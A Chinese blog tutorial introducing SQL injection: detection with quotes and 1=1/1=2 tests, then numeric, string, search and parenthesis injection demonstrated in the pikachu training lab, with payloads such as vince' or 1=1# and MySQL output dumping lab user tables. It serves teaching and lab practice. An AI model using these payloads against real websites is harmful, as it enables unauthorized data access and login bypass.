SQL注入攻击初探

作者:vista | 发布时间:

1.  手工检测SQL注入点

最常用的SQL注入点判断方法,是在网站中寻找如下形式的网页链接。

http://www.*****.com/***.asp?id=xx (ASP注入)

或者下面的链接。

http://www.*****.com/***.php?id=xx (php注入)

http://www.*****.com/***.jsp?id=xx (jsp注入)

http://www.*****.com/***.aspx?id=xx (aspx注入)

http://www.*****.com/index.asp?id=8&page=99 (注:注入的时候确认是id参数还是page参数,工具默认只对后面page参数注入,所以要对工具进行配置或者手工调换)

http://www.*****.com/index/new/id/8 伪静态

http://www. *****.com/index/new/php-8.html伪静态

其中的“**”可能是数字,也有可能是字符串,分别被称为整数类型数据和字符型数据。如何判断某个网页链接是否存在SQL注入漏洞呢?通常有两种检测方法。

1.1 “单引号”法

第一种检测SQL注入漏洞是否存在的方法是“单引号”法。方法很简单,直接在浏览器地址栏中的网址链接后加上一个单引号,如果页面不能正常显示,浏览器返回一些异常信息,则说明该链接可能存在注入漏洞。

1.2 1=1和1=2法

很多时候检测提交包含引号的链接时,会提示非法字符,或者直接不返回任何信息,但这并不等于不存在SQL注入漏洞。此时可使用经典的“1=1和1=2”法进行检测。方法很简单,就是直接在链接地址后分别加上and 1=1和and 1=2进行提交,如果返回不同的页面,那么说明存在SQL注入漏洞。

2.  注入分类

2.1 数字型注入

登录测试环境观察如下:

mysql> show databases;

+--------------------+

| Database           |

+--------------------+

| information_schema |

| bwapp              |

| mysql              |

| performance_schema |

| pikachu            |

| test               |

| test1              |

+--------------------+

7 rows in set (0.00 sec)

 

mysql> use pikachu

Database changed

mysql> show tables;

+-------------------+

| Tables_in_pikachu |

+-------------------+

| httpinfo          |

| member            |

| message           |

| users             |

| xssblind          |

+-------------------+

5 rows in set (0.00 sec)

 

mysql> desc member;   查看member这个表的字段

+----------+------------------+------+-----+---------+----------------+

| Field    | Type             | Null | Key | Default | Extra          |

+----------+------------------+------+-----+---------+----------------+

| id       | int(10) unsigned | NO   | PRI | NULL    | auto_increment |

| username | varchar(66)      | NO   |     | NULL    |                |

| pw       | varchar(128)     | NO   |     | NULL    |                |

| sex      | char(10)         | NO   |     | NULL    |                |

| phonenum | varchar(255)     | NO   |     | NULL    |                |

| address  | varchar(255)     | NO   |     | NULL    |                |

| email    | varchar(255)     | NO   |     | NULL    |                |

+----------+------------------+------+-----+---------+----------------+

7 rows in set (0.00 sec)

mysql> select username,email from member where id=1;

+----------+-------------------+

| username | email             |

+----------+-------------------+

| vince    | vince@pikachu.com |

+----------+-------------------+

1 row in set (0.00 sec)

 

mysql> select username,email from member where id=1 or 1=1;

+----------+-------------------+

| username | email             |

+----------+-------------------+

| vince    | vince@pikachu.com |

| allen    | allen@pikachu.com |

| kobe     | kobe@pikachu.com  |

| grady    | grady@pikachu.com |

| kevin    | kevin@pikachu.com |

| lucy     | lucy@pikachu.com  |

| lili     | lili@pikachu.com  |

+----------+-------------------+

7 rows in set (0.00 sec)

 

发现输入or 1=1之后全部显示出来了,下面我们通过burp抓包输入一个or 1=1设置一个payload,点击提交后,在Render中查看结果。通过判断存在SQL注入,且为数字型注入,可以通过拼接SQL语句来实现注入。

4a47a0db6e60

 

2.2  字符型注入

打开pikachu平台,在SQL-Inject下选择字符型注入。输入在之前我们已经知道的一个id

fb5c81ed3a22

 

我们发现需要输入字符串来完成查询。按照之前的思路我们写一个查询语句select id,email from member where username='vince' ;

在这个基础上进行拼接来写一个”万能密码“,按照之前的构想,拼写一个select id,email from member where username='vince' or 1=1 ;为了验证想法我们输入尝试以下

mysql> select id,email from member where username='vince';

+----+-------------------+

| id | email             |

+----+-------------------+

|  1 | vince@pikachu.com |

+----+-------------------+

1 row in set (0.00 sec)

mysql> select id,email from member where username='vince or 1=1';

Empty set (0.00 sec)

  我们发现这个语句存在问题,发现这个语句的vince or 1=1是直接被认作字符串,我们在vince后面添加单引号来闭合vince,再在1=1后面添加注释#来消除掉后面的单引号,这样来完成一个SQL语句的拼接合法性。完整的语句为select id,email from member where username='vince‘ or 1=1#';我们回到pikachu平台输入vince‘ or 1=1#

mysql> select id,email from member where username='vince' or 1=1#';

    -> ;

+----+-------------------+

| id | email             |

+----+-------------------+

|  1 | vince@pikachu.com |

|  2 | allen@pikachu.com |

|  3 | kobe@pikachu.com  |

|  4 | grady@pikachu.com |

|  5 | kevin@pikachu.com |

|  6 | lucy@pikachu.com  |

|  7 | lili@pikachu.com  |

+----+-------------------+

7 rows in set (0.00 sec)

10fb15c77258

 

2.3  搜索型注入

打开pikachu平台,在SQL-Inject下选择搜索型注入,然后随意输入一个字母,能看到匹配出了对应的信息。按照SQL的模糊查询命令select * from 表名 where 字段名 like ‘%(对应值)%’;,发现可以按照之前的思路来实现万能语句的拼接。

mysql> select * from member where username like '%vince%' or 1=1;

+----+----------+----------------------------------+------+-------------+-------

----------------+-------------------+

| id | username | pw                               | sex  | phonenum    | addres

s               | email             |

+----+----------+----------------------------------+------+-------------+-------

----------------+-------------------+

|  1 | vince    | e10adc3949ba59abbe56e057f20f883e | boy  | 18626545453 | chain

                | vince@pikachu.com |

|  2 | allen    | e10adc3949ba59abbe56e057f20f883e | boy  | 13676767767 | nba 76

                | allen@pikachu.com |

|  3 | kobe     | e10adc3949ba59abbe56e057f20f883e | boy  | 15988767673 | nba la

kes             | kobe@pikachu.com  |

|  4 | grady    | e10adc3949ba59abbe56e057f20f883e | boy  | 13676765545 | nba hs

                | grady@pikachu.com |

|  5 | kevin    | e10adc3949ba59abbe56e057f20f883e | boy  | 13677676754 | Oklaho

ma City Thunder | kevin@pikachu.com |

|  6 | lucy     | e10adc3949ba59abbe56e057f20f883e | girl | 12345678922 | usa

                | lucy@pikachu.com  |

|  7 | lili     | e10adc3949ba59abbe56e057f20f883e | girl | 18656565545 | usa

                | lili@pikachu.com  |

+----+----------+----------------------------------+------+-------------+--

回到pikachu平台,将拼接语句写为%xxxx%'or 1=1 #%'

09dd8c2662b9

 

2.4  XX型注入

XX型是由于SQL语句拼接方式不同,注入语句如下:

mysql> select * from member where username=('xx') or 1=1;

8266e4bfeda1

回到pikachu平台,将拼接语句写为XX') or 1=1#

f19c90851297

 

 

3.  注入提交方式

ASP:request (全部接受)、request.querystring (接受get)、request.form (接受post)、 request.cookie cookie (接受cookie)

PHP: $_REQUEST(全部接受)、$_GET $_POST (接受post)、$_COOKIE(接受cookie)

 

3.1 get提交

一般直接通过浏览器地址栏提交,如下图:

9eb9cd58b9ea

 

3.2 post提交

可通过安装火狐浏览器插件(hackbar)或Burp工具来完成,如下图:

602e8f042f46

3.3 cookie提交

一般通Burp工具来完成,如下图:

7afbb1602613

 

标签:渗透技巧, 学习笔记